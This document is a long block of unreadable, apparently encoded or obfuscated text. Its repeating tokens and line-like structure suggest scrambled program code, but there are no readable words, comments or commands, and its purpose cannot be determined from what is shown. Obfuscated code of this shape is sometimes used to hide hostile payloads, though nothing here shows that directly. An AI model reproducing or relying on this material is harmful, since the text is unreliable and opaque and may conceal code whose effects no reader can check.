p\^UWN^W%Bp^pUGKLLEN]]NV%%I@]JNLG]YLVMUB_@XXN\ACWDELJT%D\NUV@\D[CJACWDELJYIHUKIMMGCVDKC_KAC		IMEN@FSSUVBD\JJ@K[ACWDELJMMGCVDKC_KAC		@DF\DCLGLCFGVWV%VNDYDCFKM][VoFH]MK@AMIL\ACWDELJ%%%%FIVNDYDCFKM][VT% AJHN[FYJKJIFAF[JE@Z]ANC %%Bp^pUGKLLEtACWDELJrVNDYDCFKM][VtUVBD\JJ@K[rSVNDYDCFKM][VtFH]MK@AMIL\rD\NUV@\D[CJUVBD\JJ@K[UVBD\JJ@K[%R%R%I@]JNLG@MF_Y]XN\DJVVKZYLCADM^T%DYGMXFBWF\MGNZVN_Y@_A]FXpY^U_NV^MUHDJVWWVKZYLCADM^%FIDYGMXFBWF\SSFH]MK@AMIL\DYGMXFBWF\MMGCVDKC_KACDYGMXFBWF\FH]MK@AMIL\FH]MK@AMIL\%Bp^pUGKLLEtDJVrDYGMXFBWF\%R%oZ_KN[Jp@_[F@AMMGCVDKC_KACBp^pUGKLLEFXpY^U_NV^MUH%%RIFANCCVT%H\GBN@MFVL]UVBD\JJ@K[%%%%R%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZMMGCVDKC_KACC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%R%%%%R%%%IZAL[F@AMGNZVN_Y@_A]ACWDELJVKZYLCADM^%T%%VNDYDCFKM][VoFH]MK@AMIL\ACWDELJ%FIVNDYDCFKM][V]J[Z]A%KpDpJHZVNDYDCFKM][VtUVBD\JJ@K[rSVNDYDCFKM][VtMMGCVDKC_KACr%%FIVNDYDCFKM][VtFH]MK@AMIL\r]J[Z]AMMGCVDKC_KACKpDpJHZ%%FB\HI_GoMMGCVDKC_KACACWDELJ%%]J[Z]AKpDpJHZSFXpY^U_NV^MUHFB\HI_G		MMGCVDKC_KACFB\HI_GVKZYLCADM^INC\J%R%%%IZAL[F@A]WVWYY\BCY^DBpUM%T%p_YMMGCVDKC_KACFXpY^U_NV^MUHHJ[p@_[F@AFH]MK@AMIL\%A@pL\LHpGGDC@@ZH%pFLJ^K[WAFFZFXpY^U_NV^MUHMMGCVDKC_KACHJ[p@_[F@AFXpY^U_NV^MUH%%FIpFLJ^K[WAFFZp_YoKJCJ[Jp@_[F@AFXpY^U_NV^MUH%%R%%%IZAL[F@AA@pL\LHpGGDC@@ZH%TGBUYGJFSI]@F@AVN^GBUYGJFq%%%%[]VT%FIKJIFAJKFXpY^U_NV^MUH]J[Z]A%YIHUKIZVK^W\ZBKLY[ZIN[[@Agpfa{pbnw gpfa{pbnwH^JH[[@A%JEDZJUNLJA]IXB[[I@V^YMAMHF%^IHI_IG]]@\J__MJJCW]ZGnm|n{gFH]MK@AMIL\FH]MK@AMIL\%CFLYpKF_@\J__MJJCW]ZGnm|n{gFH]MK@AMIL\MMGCVDKC_KAC%MJMHYIJK@\J__MJJCW]ZGnm|n{gFXpY^U_NV^MUHFH]MK@AMIL\%EN^^_DNB@\J__MJJCW]ZGnm|n{gUVBD\JJ@K[WWUVBD\JJ@K[%^DZ@[HMBGDWM_@\J__MJJCW]ZGnm|n{gMMGCVDKC_KACWWUVBD\JJ@K[%WVAE\L@X\MMGCVDKC_KAC@\J__MJJCW]ZGnm|n{gH%YKIp\AF[HN]]NV%YIHUKIFH]MK@AMIL\FXpY^U_NV^MUH%YIHUKIFH]MK@AMIL\UVBD\JJ@K[%%I@]JNLGYKIp\AF[HN\ACWDELJ_]JIFWT%FIoUVBD\JJ@K[ACWDELJL@A[FAZJ%FB\HI_GoMMGCVDKC_KACACWDELJ%%%%FIFB\HI_GINC\JL@A[FAZJ%%%C]UZN]N[GJWMMGCVDKC_KAC_]JIFWFH]MK@AMIL\_]JIFWFXpY^U_NV^MUH%BMDUMpUpMAUVBD\JJ@K[C]UZN]N[GJWFB\HI_G%FIBMDUMpUpMAFB\HI_G\M^IMUZLAAY\WEFW_ACWDELJBMDUMpUpMA%%%%R%\GEUK[\YIHUKIFH]MK@AMIL\%FIoFXpY^U_NV^MUH\GEUK[\T%AJKHHVNNoFXpY^U_NV^MUH\GEUK[\%FIMMGCVDKC_KACAJKHHVNN		AJKHHVNNT%%%FIMMGCVDKC_KACMMGCVDKC_KACUVBD\JJ@K[AJKHHVNNSSUVBD\JJ@K[AJKHHVNNMMGCVDKC_KACT%^^[J]pC_EXZI\U\YFLJ\GEUK[\%FVC]\Z]^LYVJ^A\GEUK[\%RJC\JT%  \J]FNCFUNMCJ[]NA\I@]BJ]%%NZAXNMELKL\LUVBD\JJ@K[MMGCVDKC_KACAJKHHVNN%FIMMGCVDKC_KACNZAXNMELKL\L		NZAXNMELKL\LAJKHHVNN\M^IMUZLAAY\WEFW_\GEUK[\NZAXNMELKL\L%ZA\J[NZAXNMELKL\L%R%R%ZA\J[AJKHHVNNYVVJ[WKSHMXWYM^pE[YVVJ[WKq%R%_HFMMKFXpY^U_NV^MUH]\MJUBYMMGCVDKC_KACMp_KJ^UpBWWNHM\_ELMp_KJ^UpB
%[ZEGNG@KJFNDKJIFAJKFXpY^U_NV^MUHxpl`a{ja{pkf}FXpY^U_NV^MUH_HFMMK%WpJFBNJXWJN]]NV%YIHUKI ^IHI_IG]]%YIHUKI CFLYpKF_%YIHUKI MJMHYIJK%JEDZJUNLJA]I EN^^_DNB%JEDZJUNLJA]I ^DZ@[HMBGDWM_%%JEDZJUNLJA]I CFLYpKF_%JEDZJUNLJA]I MJMHYIJK%%%_HFMMK EN^^_DNB%_HFMMK ^DZ@[HMBGDWM_%_HFMMK CFLYpKF_%_HFMMK MJMHYIJK%[ZEGNG@KJFND EN^^_DNB%%%[ZEGNG@KJFND ^DZ@[HMBGDWM_%[ZEGNG@KJFND CFLYpKF_%[ZEGNG@KJFND MJMHYIJK%%[p]XI^G^[VCFXH_B\XpJ_%WpJFBNJXWJtr[p]XI^G^[Vtr%WpJFBNJXWJtr[p]XI^G^[VtrFH]MK@AMIL\%ZA\J[[p]XI^G^[V%FIFXpY^U_NV^MUHMMGCVDKC_KACT%I@]JNLGN]]NVoFH]MK@AMIL\YIHUKIFH]MK@AMIL\^IHI_IG]]N\GVpBWpJFBNJXWJtrGVpB%I@]JNLGN]]NVoFH]MK@AMIL\YIHUKIUVBD\JJ@K[^IHI_IG]]N\GVpBWpJFBNJXWJtrGVpB%I@]JNLGN]]NVoFXpY^U_NV^MUHnm|n{gMMGCVDKC_KACWVAE\L@X\FH]MK@AMIL\N\C_EN@CWpJFBNJXWJtrC_EN@C%I@]JNLGN]]NVoMMGCVDKC_KACYIHUKI WVAE\L@X\FH]MK@AMIL\N\C_EN@CWpJFBNJXWJtrC_EN@CCpXNC^MUgpbne`}pyj}|f`aNK_WCpXNC^MU%I@]JNLGN]]NVoUVBD\JJ@K[JEDZJUNLJA]I WVAE\L@X\FH]MK@AMIL\N\C_EN@CWpJFBNJXWJtrC_EN@C%I@]JNLGN]]NVoFH]MK@AMIL\_HFMMK WVAE\L@X\UVBD\JJ@K[N\C_EN@CWpJFBNJXWJtrC_EN@C%I@]JNLGN]]NVoMMGCVDKC_KAC[ZEGNG@KJFND WVAE\L@X\FXpY^U_NV^MUHN\C_EN@CWpJFBNJXWJtrC_EN@C%R%GV]IGAX]VWp@\J__MJJCW]ZGnm|n{gH%p_ApBY\CN]]NVnm|n{gMMGCVDKC_KACYIHUKIJEDZJUNLJA]I_HFMMK[ZEGNG@KJFND%%%%I@]JNLGp_ApBY\CN\pHKT%  x@]K]J\\L@BBNAK\_@\F[FYJKJIFAF[JLF_GJ]\ZF[J%%FIoFXpY^U_NV^MUHpHK		oMMGCVDKC_KACpHK[EKM^^WMFAZ@NpHKFXpY^U_NV^MUHGV]IGAX]VWpXHMDNU[UXH@NANXI[FXpY^U_NV^MUH%R%FIMMGCVDKC_KACUVBD\JJ@K[T%I@]JNLGp_ApBY\CN\pHKT%I@]JNLGN]]NVUVBD\JJ@K[FXpY^U_NV^MUHUVBD\JJ@K[FXpY^U_NV^MUHMMGCVDKC_KACFXpY^U_NV^MUHFH]MK@AMIL\UVBD\JJ@K[FXpY^U_NV^MUHN\DHWKYGGYZHTEU_YVIWNHMUWWJE[JBN\JEU_YVIWNHMU
%I@]JNLGN]]NVoMMGCVDKC_KACpHK DHWKYGGYZHN\K]C^[[^^BFIAFWpJFBNJXWJtrK]C^[[^^BFIAF%%%%R%I@]JNLGN]]NVoMMGCVDKC_KACpHKFXpY^U_NV^MUHN\VAXJJJL[[NA\N@NWpJFBNJXWJtrVAXJJJL[[NA\N@N%R%%R%ZA\J[GV]IGAX]VWpp_ApBY\CpHKDHWKYGGYZHK]C^[[^^BFIAFVAXJJJL[[NA\N@N%%KWDBD\^EpKN]]NVnm|n{gUVBD\JJ@K[YIHUKIMMGCVDKC_KAC%I@]JNLGKWDBD\^EpKN\DVBDKKW[T%FIoUVBD\JJ@K[DVBDKKW[L@A[FAZJ%FB\HI_GoMMGCVDKC_KACDVBDKKW[ZUM@AWGU\BC\^ZUM@A%FIFB\HI_G		MMGCVDKC_KACFB\HI_GFXpY^U_NV^MUHINC\JT%FB\HI_GMMGCVDKC_KACFH]MK@AMIL\MMGCVDKC_KACCFLYpKF_ FH]MK@AMIL\sAFB\HI_G%FIMMGCVDKC_KACFB\HI_GT%FB\HI_GUVBD\JJ@K[FXpY^U_NV^MUHFXpY^U_NV^MUHCFLYpKF_ MMGCVDKC_KACsAFB\HI_G%%R%FIFXpY^U_NV^MUHFB\HI_GT%FB\HI_GFXpY^U_NV^MUHMMGCVDKC_KACFXpY^U_NV^MUHCFLYpKF_ UVBD\JJ@K[sAFB\HI_GH]p_[GUJKF_XK@VFJH[H]p_[GUJKF_
%R%FIMMGCVDKC_KACFB\HI_G\M^IMUZLAAY\WEFW_DVBDKKW[FB\HI_G%R%R%%%%]LBH]Hnm|n{gFH]MK@AMIL\%FIoMMGCVDKC_KAC]LBH]HT%JZDCBD[[pIUVBD\JJ@K[nm|n{gFXpY^U_NV^MUH%%FIoFXpY^U_NV^MUHJZDCBD[[pI]LBH]HJZDCBD[[pI%%%%R%FIoFH]MK@AMIL\]LBH]H		oFXpY^U_NV^MUH]LBH]HT%pXLoFXpY^U_NV^MUH]LBH]H]J_ANFD@FJ][FMZDIG]J_ANFD@FJ
%FIUVBD\JJ@K[pXL		FXpY^U_NV^MUHpXLMMGCVDKC_KACINC\JT%XpA_KZGELIUVBD\JJ@K[UVBD\JJ@K[pXL%FIFH]MK@AMIL\XpA_KZGELI		XpA_KZGELIpXL		YUKA]KF^LpMLUMZXpA_KZGELIT%%%%[KWF^BINUoFXpY^U_NV^MUH]LBH]H%FI\M^IMUZLAAY\WEFW_]LBH]HXpA_KZGELI		[KWF^BINUoUVBD\JJ@K[]LBH]H[KWF^BINU%R%ZA\J[XpA_KZGELI[KWF^BINU%R%ZA\J[pXL%R%ZA\J[]LBH]HJZDCBD[[pI%]Y@@\p]pG@^ZUVBD\JJ@K[MMGCVDKC_KACoUVBD\JJ@K[FH]MK@AMIL\INC\J%FI]Y@@\p]pG@^ZSS]Y@@\p]pG@^Z]Y@@\p]pG@^ZFH]MK@AMIL\%%%%MULHKM]ZHB\N]]NVnm|n{g]Y@@\p]pG@^ZYIHUKI ]Y@@\p]pG@^Z%I@]JNLGMULHKM]ZHB\N\LJNLGEEK[T%FIoMMGCVDKC_KACLJNLGEEK[L@A[FAZJ%FB\HI_GoMMGCVDKC_KACLJNLGEEK[%%%FIFB\HI_G		FXpY^U_NV^MUHFB\HI_GUVBD\JJ@K[INC\JT%FB\HI_GUVBD\JJ@K[FH]MK@AMIL\UVBD\JJ@K[MJMHYIJK FXpY^U_NV^MUHFB\HI_G%%%%FIUVBD\JJ@K[FB\HI_G\M^IMUZLAAY\WEFW_LJNLGEEK[FB\HI_G%%%R%R%EX]NJ@UMHEDDLN]]NV%%%%YIHUKI MJMHYIJK%JEDZJUNLJA]I MJMHYIJK%%%_HFMMK MJMHYIJK%%%%_V[\@XMUVBD\JJ@K[WpJFBNJXWJEX]NJ@UMHEDDL%I@]JNLGEX]NJ@UMHEDDLN\KJ^B@NIBBM_T%FIoFH]MK@AMIL\KJ^B@NIBBM_T%^^[J]pC_EXZI\U\YFLJKJ^B@NIBBM_%\M^IMUZLAAY\WEFW_KJ^B@NIBBM_FXpY^U_NV^MUH%R%R%I@]JNLG_V[\@XMN\KJ^B@NIBBM_T%FIoMMGCVDKC_KACKJ^B@NIBBM_T%^^[J]pC_EXZI\U\YFLJKJ^B@NIBBM_%FVC]\Z]^LYVJ^AKJ^B@NIBBM_%%%%R%R%I@]JNLGIXBE@LCEEYN\@B[HLLpIJFN^[T%FIoFXpY^U_NV^MUH@B[HLLpIJFN^[SSoFXpY^U_NV^MUH@B[HLLpIJFN^[L@A[FAZJ%FB\HI_GoMMGCVDKC_KAC@B[HLLpIJFN^[%FIMMGCVDKC_KACFB\HI_GT%E[EMEMFAIK^ZpFKZ]XUJA[WWDWWFB\HI_GFXpY^U_NV^MUHUVBD\JJ@K[%E[EMEMFAIK^ZpFKZ]XUJA[WWDWWE[EMEMFAIK^ZpFH]MK@AMIL\FXpY^U_NV^MUH%FIUVBD\JJ@K[E[EMEMFAIK^Zp		E[EMEMFAIK^ZpFB\HI_G\M^IMUZLAAY\WEFW_@B[HLLpIJFN^[E[EMEMFAIK^Zp%ZA\J[E[EMEMFAIK^Zp%R%R%%%%FIFH]MK@AMIL\UVBD\JJ@K[		MMGCVDKC_KACFH]MK@AMIL\T%%%%DJV]ND]ppXMZWYICZ@%FIDJVINC\JT%%%pNYpBGUKGpIoFXpY^U_NV^MUHDJVX%FIpNYpBGUKGpIT%oMMGCVDKC_KACpNYpBGUKGpI%oFXpY^U_NV^MUHpNYpBGUKGpI%R%R%R%FIUVBD\JJ@K[MMGCVDKC_KACT%^\XZFMLCX@\J__MJJCW]ZGnm|n{gUVBD\JJ@K[%oKJCJ[Jp@_[F@A^\XZFMLCX%%%%GpZIHWM\FXpY^U_NV^MUHUVBD\JJ@K[oHJ[p@_[F@AMMGCVDKC_KACN]]NVN]]NV%FIUVBD\JJ@K[GpZIHWM\T%FIF\\J[GpZIHWM\tMrFVC]\Z]^LYVJ^AGpZIHWM\tMr%FIF\\J[GpZIHWM\tMMGCVDKC_KACr		FXpY^U_NV^MUHGpZIHWM\tMMGCVDKC_KACrT%I@]JNLGGpZIHWM\tFXpY^U_NV^MUHrN\pLFT%%%FIUVBD\JJ@K[pLF		F\\J[pLFtMrFVC]\Z]^LYVJ^ApLFtMr%R%R%R%oKJCJ[Jp@_[F@AFXpY^U_NV^MUH%%oKJCJ[Jp@_[F@AFXpY^U_NV^MUH%oKJCJ[Jp@_[F@AUVBD\JJ@K[%oKJCJ[Jp@_[F@AFH]MK@AMIL\%oKJCJ[Jp@_[F@AUVBD\JJ@K[%oKJCJ[Jp@_[F@AFH]MK@AMIL\%oKJCJ[Jp@_[F@AUVBD\JJ@K[%oKJCJ[Jp@_[F@AFH]MK@AMIL\%%ZA\J[GpZIHWM\pLF%R%  xi@A[cFM]N]V[NW@A@BV]JHF\[]N[F@A%%FIMMGCVDKC_KACUVBD\JJ@K[T%oKJCJ[Jp[]NA\FJA[FH]MK@AMIL\%oKJCJ[Jp[]NA\FJA[FXpY^U_NV^MUH%oKJCJ[Jp[]NA\FJA[N\\]pHFUFD\^%R%FIMMGCVDKC_KACFH]MK@AMIL\T%%%oX_pLCJN]p\LGJKZCJKpG@@DFH]MK@AMIL\IMYC[Z]K^X_SGJ^]W[FLG^AH\IMYC[Z]K^X_q%%%oX_pLCJN]p\LGJKZCJKpG@@DFH]MK@AMIL\%oX_pLCJN]p\LGJKZCJKpG@@DUAXBU^X]YJ%%%%R%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[C[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%R%R%IZAL[F@ADNWW_KI@FJV[^^N%T%[]VT%%FIKJIFAJKUVBD\JJ@K[]J[Z]AINC\J%%%%YIHUKIZVK^W\ZBKLY[ZIN%BU@ED@ZCLYIHUKIFH]MK@AMIL\%KY^^N_EXEYUVFXpY^U_NV^MUH]\MJUBYUVBD\JJ@K[%_CGXELCHAVWJUWWVAWYF]BX%FI_CGXELCHAVWSSFXpY^U_NV^MUH_CGXELCHAVWSSFXpY^U_NV^MUH_CGXELCHAVWWJJKWNISSM]H]LVBMG^[JU_CGXELCHAVWSSYUKA]KF^LpMLUMZ_CGXELCHAVW]J[Z]AINC\J%LZ]]JA[oUVBD\JJ@K[BU@ED@ZCLoFXpY^U_NV^MUHBU@ED@ZCL%FIUVBD\JJ@K[LZ]]JA[T%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHFXpY^U_NV^MUH%]J[Z]AINC\J%R%LZ]]JA[EXpF\FZFGEDEJLZ]]JA[%EYK@E][AVVAXHMDNU[UXH@NANXI[@\J__MJJCW]ZGnm|n{gFXpY^U_NV^MUHWW%%%\]^BHpZ^AUBDFXpY^U_NV^MUHEYK@E][AVVAMMGCVDKC_KAC%%%%BGAW]NFXpY^U_NV^MUHEYK@E][AVVAMMGCVDKC_KAC%NKY_AE^BG@\J__MJJCW]ZGnm|n{gUVBD\JJ@K[%ZYVDLJNAULYXEFFH]MK@AMIL\UVBD\JJ@K[NKY_AE^BGFXpY^U_NV^MUHLZ]]JA[%ZAVE^MICE^UVBD\JJ@K[ZYVDLJNAULYXEFUVBD\JJ@K[INC\J%FIMMGCVDKC_KACLZ]]JA[\]^BHpZ^AUBDINC\J		MMGCVDKC_KACLZ]]JA[BGAW]NINC\J		ZAVE^MICE^]J[Z]A[]ZJ%LZ]]JA[UVBD\JJ@K[UVBD\JJ@K[ZYVDLJNAULYXEF%FIMMGCVDKC_KACLZ]]JA[T%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHMMGCVDKC_KAC%%]J[Z]AINC\J%R%LYF]DCIHpYW[N]CHE^U[^X\F[%FILYF]DCIHpY]J[Z]AINC\J%%%LU]JH@]H]CMMGCVDKC_KACFXpY^U_NV^MUHFXpY^U_NV^MUHKY^^N_EXEYUV\[]FAH_]EWUCKBEYq%YDF@L@_DApI\BLEKWJ_Gp_JI%FXpY^U_NV^MUH%N]]NVpp|czhppppczhfapmn|jpppphzn}kpanbjppppyj}|f`app%N]]NVKY^^N_EXEYUVLYF]DCIHpYLU]JH@]H]CXHMDNU[UXH@NANXI[%%%%FIYDF@L@_DT%FIFA[HJ[p@_[F@AMMGCVDKC_KAC@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHUVBD\JJ@K[%%%%]J[Z]AINC\J%R%%LZ]]JA[EXpF\FZFGEDEJLZ]]JA[%VYKV[FW[ANHEIFH]MK@AMIL\MMGCVDKC_KACYDF@L@_D%@]WXEM[@CAW^FFXpY^U_NV^MUHLZ]]JA[%%%FI@]WXEM[@CAW^FT%FI[GH\pF\GIUIIGUAUVBD\JJ@K[T%%%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHUVBD\JJ@K[%]J[Z]AINC\J%R%%FIALp@Z@[NNUFBU@ED@ZCLLZ]]JA[T%@DWMpK]LDZ\KNVCZMMGCVDKC_KACFXpY^U_NV^MUH%%%%]J[Z]AINC\J%R%L^WYJBYVH_XUFFE]UVBD\JJ@K[%RJC\JT%FIALp@Z@[NNUFBU@ED@ZCLT]p^K\WGZZ[XKCD_[VWLZ]p^K\WGZZ%@DWMpK]LDZ\KNVCZMMGCVDKC_KACMMGCVDKC_KAC%%]J[Z]AINC\J%R%R%YHF[J_G\pWGJCKBBF_Ip_]_LZ]]JA[\]^BHpZ^AUBDsAVYKV[FW[ANHEIsABGAW]N%%%%FI\M^IMUZLAAY\WEFW_BU@ED@ZCLYHF[J_G\pWGT%]J[Z]AINC\J%%R%FI@]WXEM[@CAW^FCNIDVG[IGpNBU@ED@ZCL%]J[Z]A[]ZJ%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZMMGCVDKC_KACC[A_M[p%]J[Z]AINC\J%%RLN[LGjWLJ_[F@AC[A_M[pT%]J[Z]AINC\J%R%%%%R%%%%IZAL[F@AIXBE@LCEEY%T%]FULYEU@G^AKWpWN]]NV%%%FIFXpY^U_NV^MUHFH]MK@AMIL\]J[Z]A]FULYEU@G^AKWpW%FKKppGHEMKJIFAJKFXpY^U_NV^MUHxpl`a{ja{pkf}KJIFAJKMMGCVDKC_KACnm|n{gMMGCVDKC_KACUVBD\JJ@K[%%Z_YAXWFWMFA\\[]FAHoHJ[p@_[F@AUVBD\JJ@K[%FIZ_YAXWFWMFA\]FULYEU@G^AKWpWtrFKKppGHEMZ_YAXWFWMFA\FXpY^U_NV^MUH%IX^WZ\p^BCWGG\[]FAHoHJ[p@_[F@AFH]MK@AMIL\%%%FIIX^WZ\p^BCWGG		IX^WZ\p^BCWGGZ_YAXWFWMFA\]FULYEU@G^AKWpWtrFKKppGHEMIX^WZ\p^BCWGGMMGCVDKC_KAC%%%%]J[Z]A]FULYEU@G^AKWpW%R%IZAL[F@ACFNX]BM_]AXX]%T%[]VT%FIKJIFAJKMMGCVDKC_KACSSUVBD\JJ@K[FH]MK@AMIL\]J[Z]A%I@]JNLGIXBE@LCEEYN\FF\HB_VCGIT%  G@\[MV[J@]KJ]%%%FW]HKGpFAZUXB[[I@V^YMAMHFFXpY^U_NV^MUH@\J__MJJCW]ZGFF\HB_VCGIMMGCVDKC_KAC%FIoMMGCVDKC_KACFW]HKGpFAZUL@A[FAZJ%FIoMMGCVDKC_KACFF\HB_VCGI		oFH]MK@AMIL\FF\HB_VCGIL@A[FAZJ%YGJW]DNoFH]MK@AMIL\FW]HKGpFAZU%FIFXpY^U_NV^MUHYGJW]DNSSYGJW]DNL@A[FAZJ%%%FI\M^IMUZLAAY\WEFW_FF\HB_VCGIYGJW]DNT%@DWMpK]LDZ\KNVCZMMGCVDKC_KACFH]MK@AMIL\%oZ_KN[Jp@_[F@AFXpY^U_NV^MUHUVBD\JJ@K[FXpY^U_NV^MUH%R%R%  oKF\_N[LGL@ZA[BFA\DJ[LG%%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZFH]MK@AMIL\C[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%%%R%R%IZAL[F@AKMp\^UWN^W%T%%%%[]VT%FIKJIFAJKUVBD\JJ@K[]J[Z]AINC\J%%%G[_\IJNWKYKIXBE@LCEEY%FIJB_[VG[_\IJNWKYK]J[Z]AINC\J%KJNVFHIGFHLFA[HJ[p@_[F@AUVBD\JJ@K[%FIKJNVFHIGFHL		FH]MK@AMIL\KJNVFHIGFHLWNKWNL]J[Z]AINC\J%EYK@E][AVVAXHMDNU[UXH@NANXI[@\J__MJJCW]ZGnm|n{gFXpY^U_NV^MUHWW%%%\]^BHpZ^AUBDMMGCVDKC_KACEYK@E][AVVAFH]MK@AMIL\%BGAW]NFXpY^U_NV^MUHEYK@E][AVVAMMGCVDKC_KAC%LU]JH@]H]CMMGCVDKC_KACFXpY^U_NV^MUHFXpY^U_NV^MUHnm|n{g\[]FAH_]EWUCKBEY%KY^^N_EXEYUVUVBD\JJ@K[]\MJUBYFH]MK@AMIL\%LYF]DCIHpYW[N]CHE^U[^X\F[%%%FILYF]DCIHpY]J[Z]AINC\J%[]F^ACApI\BLEKWJ_Gp_JI%FH]MK@AMIL\%N]]NVpp|czhppppczhfapmn|jpppphzn}kpanbjppppyj}|f`app%N]]NVKY^^N_EXEYUVLYF]DCIHpYLU]JH@]H]CXHMDNU[UXH@NANXI[%%FI[]F^ACT%%%FIFA[HJ[p@_[F@AMMGCVDKC_KAC@DWMpK]LDZ\KNVCZMMGCVDKC_KACUVBD\JJ@K[%]J[Z]AINC\J%R%[]F^ACFXpY^U_NV^MUHFH]MK@AMIL\[]F^AC%FIMMGCVDKC_KAC[]F^ACSS[]F^AC]J[Z]AINC\J%I@]JNLGG[_\IJNWKYKN\@B[HLLpIJFN^[T%FIoFXpY^U_NV^MUH@B[HLLpIJFN^[L@A[FAZJ%Z@BI[UGE@FXpY^U_NV^MUHFH]MK@AMIL\oMMGCVDKC_KAC@B[HLLpIJFN^[LINC\J%FIZ@BI[UGE@INC\J		FXpY^U_NV^MUHFH]MK@AMIL\oIC@LDZ@BI[UGE@c`ldpjw%LZ]]JA[oUVBD\JJ@K[@B[HLLpIJFN^[%FIUVBD\JJ@K[LZ]]JA[T%@DWMpK]LDZ\KNVCZUVBD\JJ@K[UVBD\JJ@K[%FIZ@BI[UGE@INC\JT%%FIFXpY^U_NV^MUHFXpY^U_NV^MUHoIC@LDZ@BI[UGE@c`ldpza%oILC@\JZ@BI[UGE@%R%L@A[FAZJ%R%[]VT%%FIFH]MK@AMIL\LZ]]JA[WLILWJKLZ]]JA[EXpF\FZFGEDEJLZ]]JA[JCJMWGUXXSAIXMN_N@VNJCJMWGUXXq%FIMMGCVDKC_KACLZ]]JA[\]^BHpZ^AUBDINC\J		FXpY^U_NV^MUHLZ]]JA[BGAW]NINC\J]J[Z]A[]ZJ%%FIoUVBD\JJ@K[@B[HLLpIJFN^[L@A[FAZJ%%%%FW]HKGpFAZUXB[[I@V^YMAMHFUVBD\JJ@K[@\J__MJJCW]ZG@B[HLLpIJFN^[MMGCVDKC_KAC%%%%DVCAKEEV@\J__MJJCW]ZGnm|n{gFH]MK@AMIL\%LZ]]JA[FKZ]XUJA[WWDWWLZ]]JA[FXpY^U_NV^MUHFH]MK@AMIL\%LZ]]JA[FXpY^U_NV^MUHFXpY^U_NV^MUHLZ]]JA[%FIMMGCVDKC_KACLZ]]JA[T%%@DWMpK]LDZ\KNVCZMMGCVDKC_KACMMGCVDKC_KACMYDWN[_GH^MSVYDMLIGUMYDWN[_GH^Mq%%%L@A[FAZJ%R%FIMMGCVDKC_KACLZ]]JA[UVBD\JJ@K[INC\JSSUVBD\JJ@K[LZ]]JA[UVBD\JJ@K[INC\JT%MNMB\FJoMMGCVDKC_KACFW]HKGpFAZUoFH]MK@AMIL\FW]HKGpFAZUINC\J%FIMMGCVDKC_KACMNMB\FJSSMNMB\FJT[WUXXYNC@M@IUVWGD\p[WUXXYNC@
%@DWMpK]LDZ\KNVCZMMGCVDKC_KACFH]MK@AMIL\%L@A[FAZJ%R%%LZ]]JA[MNMB\FJ%ZA\J[MNMB\FJ%R%XKNF]UYpE_]E_V^KFLZ]]JA[%FIFH]MK@AMIL\XKNF]U		XKNF]UT%%M@G^NJMDD_LoUVBD\JJ@K[FW]HKGpFAZUoFH]MK@AMIL\FW]HKGpFAZUINC\J%FIMMGCVDKC_KACM@G^NJMDD_LSSM@G^NJMDD_LXKNF]U\M^IMUZLAAY\WEFW_FW]HKGpFAZUXKNF]U%%%ZA\J[M@G^NJMDD_L%R%ZA\J[XKNF]U%XF^MHWECAJBDUVBD\JJ@K[%FIUVBD\JJ@K[LZ]]JA[		MMGCVDKC_KACLZ]]JA[UVBD\JJ@K[INC\J		MMGCVDKC_KACUVBD\JJ@K[LZ]]JA[FXpY^U_NV^MUHT%XF^MHWECAJBD%R%%%KUGWIGKWAMMGCVDKC_KACLZ]]JA[sA%%_UMW]VDU@LKUGWIGKWAXF^MHWECAJBD\]^BHpZ^AUBDsA[]F^ACsABGAW]NsA%FIALp@Z@[NNUF@B[HLLpIJFN^[LZ]]JA[T%  IZCIFCCFAIJN\FMCJNIIFAJ[V_J%%%@DWMpK]LDZ\KNVCZUVBD\JJ@K[FH]MK@AMIL\%%L@A[FAZJ%R%%FI\M^IMUZLAAY\WEFW_@B[HLLpIJFN^[LZ]]JA[_UMW]VDU@LL@A[FAZJ%]J[Z]A[]ZJ%RIFANCCVT%%FIZ@BI[UGE@INC\JT%FIFXpY^U_NV^MUHFH]MK@AMIL\oIC@LDZ@BI[UGE@c`ldpza%oILC@\JZ@BI[UGE@%R%R%R%]J[Z]AINC\J%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZFH]MK@AMIL\C[A_M[p%%%%]J[Z]AINC\J%RLN[LGjWLJ_[F@AC[A_M[pT%]J[Z]AINC\J%%R%R%IZAL[F@ApAIC^_VK[_E%T%%%[]VT%%%%FIKJIFAJKMMGCVDKC_KAC]J[Z]A%FIUBJKIEMY[LUBHX]\MJUBY]J[Z]A%YIHUKIZVK^W\ZBKLY[ZIN%^IHI_IG]]@\J__MJJCW]ZGnm|n{gFXpY^U_NV^MUHqMMGCVDKC_KAC%KY^^N_EXEYUVMMGCVDKC_KAC]\MJUBYFXpY^U_NV^MUH%_CGXELCHAVWJUWWVAWYF]BX%FI_CGXELCHAVWSSFXpY^U_NV^MUH_CGXELCHAVWT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHFH]MK@AMIL\%]J[Z]A%%%R%FIFXpY^U_NV^MUHFXpY^U_NV^MUH]J[Z]A%]YLVMUB_@XXN]]NV%YIHUKI ^IHI_IG]]%%YIHUKIMMGCVDKC_KACFXpY^U_NV^MUHFXpY^U_NV^MUH^IHI_IG]]%%CUNXA\NKJIFAJKFXpY^U_NV^MUHxpl`a{ja{pkf}nm|n{gFXpY^U_NV^MUHMMGCVDKC_KAC%%%%FIoMMGCVDKC_KACCUNXA\NT%pYBEKp[\XCXZ\ZGAJG\GN\^DZCUNXA\N%%FIFH]MK@AMIL\pYBEKp[\XCXT%%%%I@]JNLGpYBEKp[\XCXN\C[A_M[pT%F\H]^MMW_CUNXA\N C[A_M[p%FIoUVBD\JJ@K[F\H]^MMW_		oUVBD\JJ@K[F\H]^MMW_T%]YLVMUB_@XXtrF\H]^MMW_ 